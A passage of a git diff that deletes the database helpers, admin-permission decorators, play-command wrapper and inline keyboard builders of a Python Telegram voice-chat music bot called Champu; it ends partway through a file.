import assistants - - assistant = assistantdict.get(chat_id) - if not assistant: - dbassistant = await db.find_one({"chat_id": chat_id}) - if not dbassistant: - assis = await set_calls_assistant(chat_id) - else: - assis = dbassistant["assistant"] - if assis in assistants: - assistantdict[chat_id] = assis - assis = assis - else: - assis = await set_calls_assistant(chat_id) - else: - if assistant in assistants: - assis = assistant - else: - assis = await set_calls_assistant(chat_id) - if int(assis) == 1: - return self.one - elif int(assis) == 2: - return self.two - elif int(assis) == 3: - return self.three - elif int(assis) == 4: - return self.four - elif int(assis) == 5: - return self.five diff --git a/Champu/utils/database/memorydatabase.py b/Champu/utils/database/memorydatabase.py deleted file mode 100644 index fb6d081..0000000 --- a/Champu/utils/database/memorydatabase.py +++ /dev/null @@ -1,509 +0,0 @@ -import config -from config import PRIVATE_BOT_MODE -from Champu.core.mongo import mongodb - -channeldb = mongodb.cplaymode -commanddb = mongodb.commands -cleandb = mongodb.cleanmode -playmodedb = mongodb.playmode -playtypedb = mongodb.playtypedb -langdb = mongodb.language -authdb = mongodb.adminauth -videodb = mongodb.yukkivideocalls -onoffdb = mongodb.onoffper -suggdb = mongodb.suggestion -autoenddb = mongodb.autoend - - -# Shifting to memory [ mongo sucks often] -loop = {} -playtype = {} -playmode = {} -channelconnect = {} -langm = {} -pause = {} -mute = {} -audio = {} -video = {} -active = [] -activevideo = [] -command = [] -cleanmode = [] -nonadmin = {} -vlimit = [] -maintenance = [] -suggestion = {} -autoend = {} - - -# Auto End Stream - - -async def is_autoend() -> bool: - chat_id = 123 - mode = autoend.get(chat_id) - if not mode: - user = await autoenddb.find_one({"chat_id": chat_id}) - if not user: - autoend[chat_id] = False - return False - autoend[chat_id] = True - return True - return mode - - -async def autoend_on(): - chat_id = 123 - autoend[chat_id] = True - user = await autoenddb.find_one({"chat_id": chat_id}) - if not user: - return await autoenddb.insert_one({"chat_id": chat_id}) - - -async def autoend_off(): - chat_id = 123 - autoend[chat_id] = False - user = await autoenddb.find_one({"chat_id": chat_id}) - if user: - return await autoenddb.delete_one({"chat_id": chat_id}) - - -# SUGGESTION - - -async def is_suggestion(chat_id: int) -> bool: - mode = suggestion.get(chat_id) - if not mode: - user = await suggdb.find_one({"chat_id": chat_id}) - if not user: - suggestion[chat_id] = True - return True - suggestion[chat_id] = False - return False - return mode - - -async def suggestion_on(chat_id: int): - suggestion[chat_id] = True - user = await suggdb.find_one({"chat_id": chat_id}) - if user: - return await suggdb.delete_one({"chat_id": chat_id}) - - -async def suggestion_off(chat_id: int): - suggestion[chat_id] = False - user = await suggdb.find_one({"chat_id": chat_id}) - if not user: - return await suggdb.insert_one({"chat_id": chat_id}) - - -# LOOP PLAY -async def get_loop(chat_id: int) -> int: - lop = loop.get(chat_id) - if not lop: - return 0 - return lop - - -async def set_loop(chat_id: int, mode: int): - loop[chat_id] = mode - - -# Channel Play IDS -async def get_cmode(chat_id: int) -> int: - mode = channelconnect.get(chat_id) - if not mode: - mode = await channeldb.find_one({"chat_id": chat_id}) - if not mode: - return None - channelconnect[chat_id] = mode["mode"] - return mode["mode"] - return mode - - -async def set_cmode(chat_id: int, mode: int): - channelconnect[chat_id] = mode - await channeldb.update_one( - {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True - ) - - -# PLAY TYPE WHETHER ADMINS ONLY OR EVERYONE -async def get_playtype(chat_id: int) -> str: - mode = playtype.get(chat_id) - if not mode: - mode = await playtypedb.find_one({"chat_id": chat_id}) - if not mode: - playtype[chat_id] = "Everyone" - return "Everyone" - playtype[chat_id] = mode["mode"] - return mode["mode"] - return mode - - -async def set_playtype(chat_id: int, mode: str): - playtype[chat_id] = mode - await playtypedb.update_one( - {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True - ) - - -# play mode whether inline or direct query -async def get_playmode(chat_id: int) -> str: - mode = playmode.get(chat_id) - if not mode: - mode = await playmodedb.find_one({"chat_id": chat_id}) - if not mode: - playmode[chat_id] = "Direct" - return "Direct" - playmode[chat_id] = mode["mode"] - return mode["mode"] - return mode - - -async def set_playmode(chat_id: int, mode: str): - playmode[chat_id] = mode - await playmodedb.update_one( - {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True - ) - - -# language -async def get_lang(chat_id: int) -> str: - mode = langm.get(chat_id) - if not mode: - lang = await langdb.find_one({"chat_id": chat_id}) - if not lang: - langm[chat_id] = "en" - return "en" - langm[chat_id] = lang["lang"] - return lang["lang"] - return mode - - -async def set_lang(chat_id: int, lang: str): - langm[chat_id] = lang - await langdb.update_one( - {"chat_id": chat_id}, {"$set": {"lang": lang}}, upsert=True - ) - - -# Muted -async def is_muted(chat_id: int) -> bool: - mode = mute.get(chat_id) - if not mode: - return False - return mode - - -async def mute_on(chat_id: int): - mute[chat_id] = True - - -async def mute_off(chat_id: int): - mute[chat_id] = False - - -# Pause-Skip -async def is_music_playing(chat_id: int) -> bool: - mode = pause.get(chat_id) - if not mode: - return False - return mode - - -async def music_on(chat_id: int): - pause[chat_id] = True - - -async def music_off(chat_id: int): - pause[chat_id] = False - - -# Active Voice Chats -async def get_active_chats() -> list: - return active - - -async def is_active_chat(chat_id: int) -> bool: - if chat_id not in active: - return False - else: - return True - - -async def add_active_chat(chat_id: int): - if chat_id not in active: - active.append(chat_id) - - -async def remove_active_chat(chat_id: int): - if chat_id in active: - active.remove(chat_id) - - -# Active Video Chats -async def get_active_video_chats() -> list: - return activevideo - - -async def is_active_video_chat(chat_id: int) -> bool: - if chat_id not in activevideo: - return False - else: - return True - - -async def add_active_video_chat(chat_id: int): - if chat_id not in activevideo: - activevideo.append(chat_id) - - -async def remove_active_video_chat(chat_id: int): - if chat_id in activevideo: - activevideo.remove(chat_id) - - -# Delete command mode -async def is_commanddelete_on(chat_id: int) -> bool: - if chat_id not in command: - return True - else: - return False - - -async def commanddelete_off(chat_id: int): - if chat_id not in command: - command.append(chat_id) - - -async def commanddelete_on(chat_id: int): - try: - command.remove(chat_id) - except: - pass - - -# Clean Mode -async def is_cleanmode_on(chat_id: int) -> bool: - if chat_id not in cleanmode: - return True - else: - return False - - -async def cleanmode_off(chat_id: int): - if chat_id not in cleanmode: - cleanmode.append(chat_id) - - -async def cleanmode_on(chat_id: int): - try: - cleanmode.remove(chat_id) - except: - pass - - -# Non Admin Chat -async def check_nonadmin_chat(chat_id: int) -> bool: - user = await authdb.find_one({"chat_id": chat_id}) - if not user: - return False - return True - - -async def is_nonadmin_chat(chat_id: int) -> bool: - mode = nonadmin.get(chat_id) - if not mode: - user = await authdb.find_one({"chat_id": chat_id}) - if not user: - nonadmin[chat_id] = False - return False - nonadmin[chat_id] = True - return True - return mode - - -async def add_nonadmin_chat(chat_id: int): - nonadmin[chat_id] = True - is_admin = await check_nonadmin_chat(chat_id) - if is_admin: - return - return await authdb.insert_one({"chat_id": chat_id}) - - -async def remove_nonadmin_chat(chat_id: int): - nonadmin[chat_id] = False - is_admin = await check_nonadmin_chat(chat_id) - if not is_admin: - return - return await authdb.delete_one({"chat_id": chat_id}) - - -# Video Limit -async def is_video_allowed(chat_idd) -> str: - chat_id = 123456 - if not vlimit: - dblimit = await videodb.find_one({"chat_id": chat_id}) - if not dblimit: - vlimit.clear() - vlimit.append(config.VIDEO_STREAM_LIMIT) - limit = config.VIDEO_STREAM_LIMIT - else: - limit = dblimit["limit"] - vlimit.clear() - vlimit.append(limit) - else: - limit = vlimit[0] - if limit == 0: - return False - count = len(await get_active_video_chats()) - if int(count) == int(limit): - if not await is_active_video_chat(chat_idd): - return False - return True - - -async def get_video_limit() -> str: - chat_id = 123456 - if not vlimit: - dblimit = await videodb.find_one({"chat_id": chat_id}) - if not dblimit: - limit = config.VIDEO_STREAM_LIMIT - else: - limit = dblimit["limit"] - else: - limit = vlimit[0] - return limit - - -async def set_video_limit(limt: int): - chat_id = 123456 - vlimit.clear() - vlimit.append(limt) - return await videodb.update_one( - {"chat_id": chat_id}, {"$set": {"limit": limt}}, upsert=True - ) - - -# On Off -async def is_on_off(on_off: int) -> bool: - onoff = await onoffdb.find_one({"on_off": on_off}) - if not onoff: - return False - return True - - -async def add_on(on_off: int): - is_on = await is_on_off(on_off) - if is_on: - return - return await onoffdb.insert_one({"on_off": on_off}) - - -async def add_off(on_off: int): - is_off = await is_on_off(on_off) - if not is_off: - return - return await onoffdb.delete_one({"on_off": on_off}) - - -# Maintenance - - -async def is_maintenance(): - if not maintenance: - get = await onoffdb.find_one({"on_off": 1}) - if not get: - maintenance.clear() - maintenance.append(2) - return True - else: - maintenance.clear() - maintenance.append(1) - return False - else: - if 1 in maintenance: - return False - else: - return True - - -async def maintenance_off(): - maintenance.clear() - maintenance.append(2) - is_off = await is_on_off(1) - if not is_off: - return - return await onoffdb.delete_one({"on_off": 1}) - - -async def maintenance_on(): - maintenance.clear() - maintenance.append(1) - is_on = await is_on_off(1) - if is_on: - return - return await onoffdb.insert_one({"on_off": 1}) - - -# Audio Video Limit - -from pytgcalls.types.input_stream.quality import (HighQualityAudio, - HighQualityVideo, - LowQualityAudio, - LowQualityVideo, - MediumQualityAudio, - MediumQualityVideo) - - -async def save_audio_bitrate(chat_id: int, bitrate: str): - audio[chat_id] = bitrate - - -async def save_video_bitrate(chat_id: int, bitrate: str): - video[chat_id] = bitrate - - -async def get_aud_bit_name(chat_id: int) -> str: - mode = audio.get(chat_id) - if not mode: - return "High" - return mode - - -async def get_vid_bit_name(chat_id: int) -> str: - mode = video.get(chat_id) - if not mode: - if PRIVATE_BOT_MODE == str(True): - return "High" - else: - return "Medium" - return mode - - -async def get_audio_bitrate(chat_id: int) -> str: - mode = audio.get(chat_id) - if not mode: - return MediumQualityAudio() - if str(mode) == "High": - return HighQualityAudio() - elif str(mode) == "Medium": - return MediumQualityAudio() - elif str(mode) == "Low": - return LowQualityAudio() - - -async def get_video_bitrate(chat_id: int) -> str: - mode = video.get(chat_id) - if not mode: - if PRIVATE_BOT_MODE == str(True): - return HighQualityVideo() - else: - return MediumQualityVideo() - if str(mode) == "High": - return HighQualityVideo() - elif str(mode) == "Medium": - return MediumQualityVideo() - elif str(mode) == "Low": - return LowQualityVideo() diff --git a/Champu/utils/database/mongodatabase.py b/Champu/utils/database/mongodatabase.py deleted file mode 100644 index 851e74b..0000000 --- a/Champu/utils/database/mongodatabase.py +++ /dev/null @@ -1,431 +0,0 @@ -from typing import Dict, List, Union - -from Champu.core.mongo import mongodb - -queriesdb = mongodb.queries -userdb = mongodb.userstats -chattopdb = mongodb.chatstats -authuserdb = mongodb.authuser -gbansdb = mongodb.gban -sudoersdb = mongodb.sudoers -chatsdb = mongodb.chats -blacklist_chatdb = mongodb.blacklistChat -usersdb = mongodb.tgusersdb -playlistdb = mongodb.playlist -blockeddb = mongodb.blockedusers -privatedb = mongodb.privatechats - - -# Playlist - - -async def _get_playlists(chat_id: int) -> Dict[str, int]: - _notes = await playlistdb.find_one({"chat_id": chat_id}) - if not _notes: - return {} - return _notes["notes"] - - -async def get_playlist_names(chat_id: int) -> List[str]: - _notes = [] - for note in await _get_playlists(chat_id): - _notes.append(note) - return _notes - - -async def get_playlist(chat_id: int, name: str) -> Union[bool, dict]: - name = name - _notes = await _get_playlists(chat_id) - if name in _notes: - return _notes[name] - else: - return False - - -async def save_playlist(chat_id: int, name: str, note: dict): - name = name - _notes = await _get_playlists(chat_id) - _notes[name] = note - await playlistdb.update_one( - {"chat_id": chat_id}, {"$set": {"notes": _notes}}, upsert=True - ) - - -async def delete_playlist(chat_id: int, name: str) -> bool: - notesd = await _get_playlists(chat_id) - name = name - if name in notesd: - del notesd[name] - await playlistdb.update_one( - {"chat_id": chat_id}, - {"$set": {"notes": notesd}}, - upsert=True, - ) - return True - return False - - -# Users - - -async def is_served_user(user_id: int) -> bool: - user = await usersdb.find_one({"user_id": user_id}) - if not user: - return False - return True - - -async def get_served_users() -> list: - users_list = [] - async for user in usersdb.find({"user_id": {"$gt": 0}}): - users_list.append(user) - return users_list - - -async def add_served_user(user_id: int): - is_served = await is_served_user(user_id) - if is_served: - return - return await usersdb.insert_one({"user_id": user_id}) - - -# Served Chats - - -async def get_served_chats() -> list: - chats_list = [] - async for chat in chatsdb.find({"chat_id": {"$lt": 0}}): - chats_list.append(chat) - return chats_list - - -async def is_served_chat(chat_id: int) -> bool: - chat = await chatsdb.find_one({"chat_id": chat_id}) - if not chat: - return False - return True - - -async def add_served_chat(chat_id: int): - is_served = await is_served_chat(chat_id) - if is_served: - return - return await chatsdb.insert_one({"chat_id": chat_id}) - - -# Blacklisted Chats - - -async def blacklisted_chats() -> list: - chats_list = [] - async for chat in blacklist_chatdb.find({"chat_id": {"$lt": 0}}): - chats_list.append(chat["chat_id"]) - return chats_list - - -async def blacklist_chat(chat_id: int) -> bool: - if not await blacklist_chatdb.find_one({"chat_id": chat_id}): - await blacklist_chatdb.insert_one({"chat_id": chat_id}) - return True - return False - - -async def whitelist_chat(chat_id: int) -> bool: - if await blacklist_chatdb.find_one({"chat_id": chat_id}): - await blacklist_chatdb.delete_one({"chat_id": chat_id}) - return True - return False - - -# Private Served Chats - - -async def get_private_served_chats() -> list: - chats_list = [] - async for chat in privatedb.find({"chat_id": {"$lt": 0}}): - chats_list.append(chat) - return chats_list - - -async def is_served_private_chat(chat_id: int) -> bool: - chat = await privatedb.find_one({"chat_id": chat_id}) - if not chat: - return False - return True - - -async def add_private_chat(chat_id: int): - is_served = await is_served_private_chat(chat_id) - if is_served: - return - return await privatedb.insert_one({"chat_id": chat_id}) - - -async def remove_private_chat(chat_id: int): - is_served = await is_served_private_chat(chat_id) - if not is_served: - return - return await privatedb.delete_one({"chat_id": chat_id}) - - -# Auth Users DB - - -async def _get_authusers(chat_id: int) -> Dict[str, int]: - _notes = await authuserdb.find_one({"chat_id": chat_id}) - if not _notes: - return {} - return _notes["notes"] - - -async def get_authuser_names(chat_id: int) -> List[str]: - _notes = [] - for note in await _get_authusers(chat_id): - _notes.append(note) - return _notes - - -async def get_authuser(chat_id: int, name: str) -> Union[bool, dict]: - name = name - _notes = await _get_authusers(chat_id) - if name in _notes: - return _notes[name] - else: - return False - - -async def save_authuser(chat_id: int, name: str, note: dict): - name = name - _notes = await _get_authusers(chat_id) - _notes[name] = note - - await authuserdb.update_one( - {"chat_id": chat_id}, {"$set": {"notes": _notes}}, upsert=True - ) - - -async def delete_authuser(chat_id: int, name: str) -> bool: - notesd = await _get_authusers(chat_id) - name = name - if name in notesd: - del notesd[name] - await authuserdb.update_one( - {"chat_id": chat_id}, - {"$set": {"notes": notesd}}, - upsert=True, - ) - return True - return False - - -# Blocked Users - - -async def get_gbanned() -> list: - results = [] - async for user in gbansdb.find({"user_id": {"$gt": 0}}): - user_id = user["user_id"] - results.append(user_id) - return results - - -async def is_gbanned_user(user_id: int) -> bool: - user = await gbansdb.find_one({"user_id": user_id}) - if not user: - return False - return True - - -async def add_gban_user(user_id: int): - is_gbanned = await is_gbanned_user(user_id) - if is_gbanned: - return - return await gbansdb.insert_one({"user_id": user_id}) - - -async def remove_gban_user(user_id: int): - is_gbanned = await is_gbanned_user(user_id) - if not is_gbanned: - return - return await gbansdb.delete_one({"user_id": user_id}) - - -# Sudoers - - -async def get_sudoers() -> list: - sudoers = await sudoersdb.find_one({"sudo": "sudo"}) - if not sudoers: - return [] - return sudoers["sudoers"] - - -async def add_sudo(user_id: int) -> bool: - sudoers = await get_sudoers() - sudoers.append(user_id) - await sudoersdb.update_one( - {"sudo": "sudo"}, {"$set": {"sudoers": sudoers}}, upsert=True - ) - return True - - -async def remove_sudo(user_id: int) -> bool: - sudoers = await get_sudoers() - sudoers.remove(user_id) - await sudoersdb.update_one( - {"sudo": "sudo"}, {"$set": {"sudoers": sudoers}}, upsert=True - ) - return True - - -# Total Queries on bot - - -async def get_queries() -> int: - chat_id = 98324 - mode = await queriesdb.find_one({"chat_id": chat_id}) - if not mode: - return 0 - return mode["mode"] - - -async def set_queries(mode: int): - chat_id = 98324 - queries = await queriesdb.find_one({"chat_id": chat_id}) - if queries: - mode = queries["mode"] + mode - return await queriesdb.update_one( - {"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True - ) - - -# Top Chats DB - - -async def get_top_chats() -> dict: - results = {} - async for chat in chattopdb.find({"chat_id": {"$lt": 0}}): - chat_id = chat["chat_id"] - total = 0 - for i in chat["vidid"]: - counts_ = chat["vidid"][i]["spot"] - if counts_ > 0: - total += counts_ - results[chat_id] = total - return results - - -async def get_global_tops() -> dict: - results = {} - async for chat in chattopdb.find({"chat_id": {"$lt": 0}}): - for i in chat["vidid"]: - counts_ = chat["vidid"][i]["spot"] - title_ = chat["vidid"][i]["title"] - if counts_ > 0: - if i not in results: - results[i] = {} - results[i]["spot"] = counts_ - results[i]["title"] = title_ - else: - spot = results[i]["spot"] - count_ = spot + counts_ - results[i]["spot"] = count_ - return results - - -async def get_particulars(chat_id: int) -> Dict[str, int]: - ids = await chattopdb.find_one({"chat_id": chat_id}) - if not ids: - return {} - return ids["vidid"] - - -async def get_particular_top( - chat_id: int, name: str -) -> Union[bool, dict]: - ids = await get_particulars(chat_id) - if name in ids: - return ids[name] - - -async def update_particular_top(chat_id: int, name: str, vidid: dict): - ids = await get_particulars(chat_id) - ids[name] = vidid - await chattopdb.update_one( - {"chat_id": chat_id}, {"$set": {"vidid": ids}}, upsert=True - ) - - -# Top User DB - - -async def get_userss(chat_id: int) -> Dict[str, int]: - ids = await userdb.find_one({"chat_id": chat_id}) - if not ids: - return {} - return ids["vidid"] - - -async def get_user_top(chat_id: int, name: str) -> Union[bool, dict]: - ids = await get_userss(chat_id) - if name in ids: - return ids[name] - - -async def update_user_top(chat_id: int, name: str, vidid: dict): - ids = await get_userss(chat_id) - ids[name] = vidid - await userdb.update_one( - {"chat_id": chat_id}, {"$set": {"vidid": ids}}, upsert=True - ) - - -async def get_topp_users() -> dict: - results = {} - async for chat in userdb.find({"chat_id": {"$gt": 0}}): - user_id = chat["chat_id"] - total = 0 - for i in chat["vidid"]: - counts_ = chat["vidid"][i]["spot"] - if counts_ > 0: - total += counts_ - results[user_id] = total - return results - - -# Gban Users - - -async def get_banned_users() -> list: - results = [] - async for user in blockeddb.find({"user_id": {"$gt": 0}}): - user_id = user["user_id"] - results.append(user_id) - return results - - -async def get_banned_count() -> int: - users = blockeddb.find({"user_id": {"$gt": 0}}) - users = await users.to_list(length=100000) - return len(users) - - -async def is_banned_user(user_id: int) -> bool: - user = await blockeddb.find_one({"user_id": user_id}) - if not user: - return False - return True - - -async def add_banned_user(user_id: int): - is_gbanned = await is_banned_user(user_id) - if is_gbanned: - return - return await blockeddb.insert_one({"user_id": user_id}) - - -async def remove_banned_user(user_id: int): - is_gbanned = await is_banned_user(user_id) - if not is_gbanned: - return - return await blockeddb.delete_one({"user_id": user_id}) diff --git a/Champu/utils/decorators/admins.py b/Champu/utils/decorators/admins.py deleted file mode 100644 index 311d2f9..0000000 --- a/Champu/utils/decorators/admins.py +++ /dev/null @@ -1,164 +0,0 @@ -from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup - -from config import adminlist -from strings import get_string -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils.database import (get_authuser_names, get_cmode, - get_lang, is_active_chat, - is_commanddelete_on, - is_maintenance, - is_nonadmin_chat) - -from ..formatters import int_to_alpha - - -def AdminRightsCheck(mystic): - async def wrapper(client, message): - if await is_maintenance() is False: - if message.from_user.id not in SUDOERS: - return await message.reply_text( - "Bot is under maintenance. Please wait for some time..." - ) - if await is_commanddelete_on(message.chat.id): - try: - await message.delete() - except: - pass - try: - language = await get_lang(message.chat.id) - _ = get_string(language) - except: - _ = get_string("en") - if message.sender_chat: - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text="How to Fix this? ", - callback_data="AnonymousAdmin", - ), - ] - ] - ) - return await message.reply_text( - _["general_4"], reply_markup=upl - ) - if message.command[0][0] == "c": - chat_id = await get_cmode(message.chat.id) - if chat_id is None: - return await message.reply_text(_["setting_12"]) - try: - await app.get_chat(chat_id) - except: - return await message.reply_text(_["cplay_4"]) - else: - chat_id = message.chat.id - if not await is_active_chat(chat_id): - return await message.reply_text(_["general_6"]) - is_non_admin = await is_nonadmin_chat(message.chat.id) - if not is_non_admin: - if message.from_user.id not in SUDOERS: - admins = adminlist.get(message.chat.id) - if not admins: - return await message.reply_text(_["admin_18"]) - else: - if message.from_user.id not in admins: - return await message.reply_text(_["admin_19"]) - return await mystic(client, message, _, chat_id) - - return wrapper - - -def AdminActual(mystic): - async def wrapper(client, message): - if await is_maintenance() is False: - if message.from_user.id not in SUDOERS: - return await message.reply_text( - "Bot is under maintenance. Please wait for some time..." - ) - if await is_commanddelete_on(message.chat.id): - try: - await message.delete() - except: - pass - try: - language = await get_lang(message.chat.id) - _ = get_string(language) - except: - _ = get_string("en") - if message.sender_chat: - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text="How to Fix this? ", - callback_data="AnonymousAdmin", - ), - ] - ] - ) - return await message.reply_text( - _["general_4"], reply_markup=upl - ) - if message.from_user.id not in SUDOERS: - try: - member = await app.get_chat_member( - message.chat.id, message.from_user.id - ) - except: - return - if not member.can_manage_voice_chats: - return await message.reply(_["general_5"]) - return await mystic(client, message, _) - - return wrapper - - -def ActualAdminCB(mystic): - async def wrapper(client, CallbackQuery): - if await is_maintenance() is False: - if CallbackQuery.from_user.id not in SUDOERS: - return await CallbackQuery.answer( - "Bot is under maintenance. Please wait for some time...", - show_alert=True, - ) - try: - language = await get_lang(CallbackQuery.message.chat.id) - _ = get_string(language) - except: - _ = get_string("en") - if CallbackQuery.message.chat.type == "private": - return await mystic(client, CallbackQuery, _) - is_non_admin = await is_nonadmin_chat( - CallbackQuery.message.chat.id - ) - if not is_non_admin: - try: - a = await app.get_chat_member( - CallbackQuery.message.chat.id, - CallbackQuery.from_user.id, - ) - except: - return await CallbackQuery.answer( - _["general_5"], show_alert=True - ) - if not a.can_manage_voice_chats: - if CallbackQuery.from_user.id not in SUDOERS: - token = await int_to_alpha( - CallbackQuery.from_user.id - ) - _check = await get_authuser_names( - CallbackQuery.from_user.id - ) - if token not in _check: - try: - return await CallbackQuery.answer( - _["general_5"], - show_alert=True, - ) - except: - return - return await mystic(client, CallbackQuery, _) - - return wrapper diff --git a/Champu/utils/decorators/play.py b/Champu/utils/decorators/play.py deleted file mode 100644 index 2e94f3c..0000000 --- a/Champu/utils/decorators/play.py +++ /dev/null @@ -1,128 +0,0 @@ -from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup - -from config import PLAYLIST_IMG_URL, PRIVATE_BOT_MODE, adminlist -from strings import get_string -from Champu import YouTube, app -from Champu.misc import SUDOERS -from Champu.utils.database import (get_cmode, get_lang, - get_playmode, get_playtype, - is_active_chat, - is_commanddelete_on, - is_served_private_chat) -from Champu.utils.database.memorydatabase import is_maintenance -from Champu.utils.inline.playlist import botplaylist_markup - - -def PlayWrapper(command): - async def wrapper(client, message): - if await is_maintenance() is False: - if message.from_user.id not in SUDOERS: - return await message.reply_text( - "Bot is under maintenance. Please wait for some time..." - ) - if PRIVATE_BOT_MODE == str(True): - if not await is_served_private_chat(message.chat.id): - await message.reply_text( - "**Private Music Bot**\n\nOnly for authorized chats from the owner. Ask my owner to allow your chat first." - ) - return await app.leave_chat(message.chat.id) - if await is_commanddelete_on(message.chat.id): - try: - await message.delete() - except: - pass - language = await get_lang(message.chat.id) - _ = get_string(language) - audio_telegram = ( - ( - message.reply_to_message.audio - or message.reply_to_message.voice - ) - if message.reply_to_message - else None - ) - video_telegram = ( - ( - message.reply_to_message.video - or message.reply_to_message.document - ) - if message.reply_to_message - else None - ) - url = await YouTube.url(message) - if ( - audio_telegram is None - and video_telegram is None - and url is None - ): - if len(message.command) < 2: - if "stream" in message.command: - return await message.reply_text(_["str_1"]) - buttons = botplaylist_markup(_) - return await message.reply_photo( - photo=PLAYLIST_IMG_URL, - caption=_["playlist_1"], - reply_markup=InlineKeyboardMarkup(buttons), - ) - if message.sender_chat: - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text="How to Fix this? ", - callback_data="AnonymousAdmin", - ), - ] - ] - ) - return await message.reply_text( - _["general_4"], reply_markup=upl - ) - if message.command[0][0] == "c": - chat_id = await get_cmode(message.chat.id) - if chat_id is None: - return await message.reply_text(_["setting_12"]) - try: - chat = await app.get_chat(chat_id) - except: - return await message.reply_text(_["cplay_4"]) - channel = chat.title - else: - chat_id = message.chat.id - channel = None - playmode = await get_playmode(message.chat.id) - playty = await get_playtype(message.chat.id) - if playty != "Everyone": - if message.from_user.id not in SUDOERS: - admins = adminlist.get(message.chat.id) - if not admins: - return await message.reply_text(_["admin_18"]) - else: - if message.from_user.id not in admins: - return await message.reply_text(_["play_4"]) - if message.command[0][0] == "v": - video = True - else: - if "-v" in message.text: - video = True - else: - video = True if message.command[0][1] == "v" else None - if message.command[0][-1] == "e": - if not await is_active_chat(chat_id): - return await message.reply_text(_["play_18"]) - fplay = True - else: - fplay = None - return await command( - client, - message, - _, - chat_id, - video, - channel, - playmode, - url, - fplay, - ) - - return wrapper diff --git a/Champu/utils/inline/play.py b/Champu/utils/inline/play.py deleted file mode 100644 index d42e595..0000000 --- a/Champu/utils/inline/play.py +++ /dev/null @@ -1,331 +0,0 @@ -import random - -from pyrogram.types import InlineKeyboardButton - -selections = [ - "▁▄▂▇▄▅▄▅▃", - "▁▃▇▂▅▇▄▅▃", - "▃▁▇▂▅▃▄▃▅", - "▃▄▂▄▇▅▃▅▁", - "▁▃▄▂▇▃▄▅▃", - "▃▁▄▂▅▃▇▃▅", - "▁▇▄▂▅▄▅▃▄", - "▁▃▅▇▂▅▄▃▇", - "▃▅▂▅▇▁▄▃▁", - "▇▅▂▅▃▄▃▁▃", - "▃▇▂▅▁▅▄▃▁", - "▅▄▇▂▅▂▄▇▁", - "▃▅▂▅▃▇▄▅▃", -] - - -## After Edits with Timer Bar - - -def stream_markup_timer(_, videoid, chat_id, played, dur): - bar = random.choice(selections) - buttons = [ - [ - InlineKeyboardButton( - text=f"{played} {bar} {dur}", - callback_data="GetTimer", - ) - ], - [ - InlineKeyboardButton( - text=_["PL_B_2"], - callback_data=f"add_playlist {videoid}", - ), - InlineKeyboardButton( - text=_["PL_B_3"], - callback_data=f"PanelMarkup {videoid}|{chat_id}", - ), - ], - [ - InlineKeyboardButton( - text=_["CLOSEMENU_BUTTON"], callback_data="close" - ) - ], - ] - return buttons - - -def telegram_markup_timer(_, chat_id, played, dur): - bar = random.choice(selections) - buttons = [ - [ - InlineKeyboardButton( - text=f"{played} {bar} {dur}", - callback_data="GetTimer", - ) - ], - [ - InlineKeyboardButton( - text=_["PL_B_3"], - callback_data=f"PanelMarkup None|{chat_id}", - ), - InlineKeyboardButton( - text=_["CLOSEMENU_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -## Inline without Timer Bar - - -def stream_markup(_, videoid, chat_id): - buttons = [ - [ - InlineKeyboardButton( - text=_["PL_B_2"], - callback_data=f"add_playlist {videoid}", - ), - InlineKeyboardButton( - text=_["PL_B_3"], - callback_data=f"PanelMarkup None|{chat_id}", - ), - ], - [ - InlineKeyboardButton( - text=_["CLOSEMENU_BUTTON"], callback_data="close" - ) - ], - ] - return buttons - - -def telegram_markup(_, chat_id): - buttons = [ - [ - InlineKeyboardButton( - text=_["PL_B_3"], - callback_data=f"PanelMarkup None|{chat_id}", - ), - InlineKeyboardButton( - text=_["CLOSEMENU_BUTTON"], callback_data="close" - ), - ], - ] - return buttons - - -## Search Query Inline - - -def track_markup(_, videoid, user_id, channel, fplay): - buttons = [ - [ - InlineKeyboardButton( - text=_["P_B_1"], - callback_data=f"MusicStream {videoid}|{user_id}|a|{channel}|{fplay}", - ), - InlineKeyboardButton( - text=_["P_B_2"], - callback_data=f"MusicStream {videoid}|{user_id}|v|{channel}|{fplay}", - ), - ], - [ - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data=f"forceclose {videoid}|{user_id}", - ) - ], - ] - return buttons - - -def playlist_markup(_, videoid, user_id, ptype, channel, fplay): - buttons = [ - [ - InlineKeyboardButton( - text=_["P_B_1"], - callback_data=f"ChampuPlaylists {videoid}|{user_id}|{ptype}|a|{channel}|{fplay}", - ), - InlineKeyboardButton( - text=_["P_B_2"], - callback_data=f"ChampuPlaylists {videoid}|{user_id}|{ptype}|v|{channel}|{fplay}", - ), - ], - [ - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data=f"forceclose {videoid}|{user_id}", - ), - ], - ] - return buttons - - -## Live Stream Markup - - -def livestream_markup(_, videoid, user_id, mode, channel, fplay): - buttons = [ - [ - InlineKeyboardButton( - text=_["P_B_3"], - callback_data=f"LiveStream {videoid}|{user_id}|{mode}|{channel}|{fplay}", - ), - InlineKeyboardButton( - text=_["CLOSEMENU_BUTTON"], - callback_data=f"forceclose {videoid}|{user_id}", - ), - ], - ] - return buttons - - -## Slider Query Markup - - -def slider_markup( - _, videoid, user_id, query, query_type, channel, fplay -): - query = f"{query[:20]}" - buttons = [ - [ - InlineKeyboardButton( - text=_["P_B_1"], - callback_data=f"MusicStream {videoid}|{user_id}|a|{channel}|{fplay}", - ), - InlineKeyboardButton( - text=_["P_B_2"], - callback_data=f"MusicStream {videoid}|{user_id}|v|{channel}|{fplay}", - ), - ], - [ - InlineKeyboardButton( - text="❮", - callback_data=f"slider B|{query_type}|{query}|{user_id}|{channel}|{fplay}", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data=f"forceclose {query}|{user_id}", - ), - InlineKeyboardButton( - text="❯", - callback_data=f"slider F|{query_type}|{query}|{user_id}|{channel}|{fplay}", - ), - ], - ] - return buttons - - -## Cpanel Markup - - -def 